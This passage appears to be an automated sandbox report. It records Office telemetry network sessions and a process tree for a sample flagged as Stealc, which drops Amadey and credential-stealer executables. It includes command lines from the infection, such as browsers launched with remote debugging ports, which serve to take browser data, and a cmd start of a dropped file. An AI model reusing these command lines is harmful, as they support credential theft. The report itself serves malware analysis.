2024-11-26 09:10:01 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49940	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:01 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:01 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 47663499-e01e-0051-6891-3f84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091001Z-174f7845968g6hv8hC1EWR1v2n0000000380000000000fvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:01 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:02 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:02 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091002Z-174f7845968vqt9xhC1EWRgten0000000v7g0000000068bm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:03 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49941	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:02 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:02 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 2a3cc61f-301e-001f-7491-3faa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091002Z-174f7845968jrjrxhC1EWRmmrs0000000ve0000000001v98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:03 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:02 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:03 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 9fc3e736-101e-0046-4391-3f91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091003Z-174f7845968px8v7hC1EWR08ng0000000vkg000000000dkq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:03 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:03 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:03 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091003Z-174f7845968v75bwhC1EWRuqen0000000g4g000000005m7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:03 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:10:03 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:10:03 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:10:03 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: ee9d1ea0-001e-00a2-4791-3fd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T091003Z-174f7845968ljs8phC1EWRe6en0000000v5g000000000g46 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:10:03 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Target ID:	0
Start time:	04:08:53
Start date:	26/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8b0000
File size:	1'785'344 bytes
MD5 hash:	E7423CD132A8B0550213C0FB9175AE31
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2020653471.0000000004AC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2569760709.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2571085953.000000000112E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	04:09:04
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	04:09:05
Start date:	26/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2128,i,4747285852145405260,18208468525557755224,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:09:16
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:09:16
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2412 --field-trial-handle=2316,i,4353943364485129938,16843632681257069434,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	04:09:16
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:09:17
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2764 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	04:09:21
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6520 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	04:09:21
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6812 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:09:47
Start date:	26/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJEHJKJEBGH.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:09:47
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:09:47
Start date:	26/11/2024
Path:	C:\Users\user\DocumentsJEHJKJEBGH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsJEHJKJEBGH.exe"
Imagebase:	0x620000
File size:	1'884'160 bytes
MD5 hash:	B136D71B7374063413830DB122AEDE59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000002.2648360927.0000000000621000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000014.00000003.2561753218.0000000004E70000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:09:54
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xad0000
File size:	1'884'160 bytes
MD5 hash:	B136D71B7374063413830DB122AEDE59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000002.2680309416.0000000000AD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000015.00000003.2636957291.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:10:00
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xad0000
File size:	1'884'160 bytes
MD5 hash:	B136D71B7374063413830DB122AEDE59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.3293398969.0000000000AD1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2689867502.0000000004C80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	04:10:11
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Imagebase:	0xd30000
File size:	471'168 bytes
MD5 hash:	20160349422AEB131ED9DA71A82EB7AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:10:11
Start date:	26/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:10:12
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe"
Imagebase:	0xd30000
File size:	471'168 bytes
MD5 hash:	20160349422AEB131ED9DA71A82EB7AB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:10:17
Start date:	26/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2692,i,13522220133410555442,15849033741105392490,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:10:23
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009251001\c2fcbf308b.exe"
Imagebase:	0x690000
File size:	4'418'048 bytes
MD5 hash:	B4DE34DCC96D16EC82F6FA3A7D037D4F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 42%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	04:10:32
Start date:	26/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1009252001\684030933f.exe"
Imagebase:	0xaf0000
File size:	1'871'872 bytes
MD5 hash:	C0027647C26AF68B744A4BE6494BDEBD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000001C.00000003.3167971746.0000000000A13000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 45%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	04:10:41
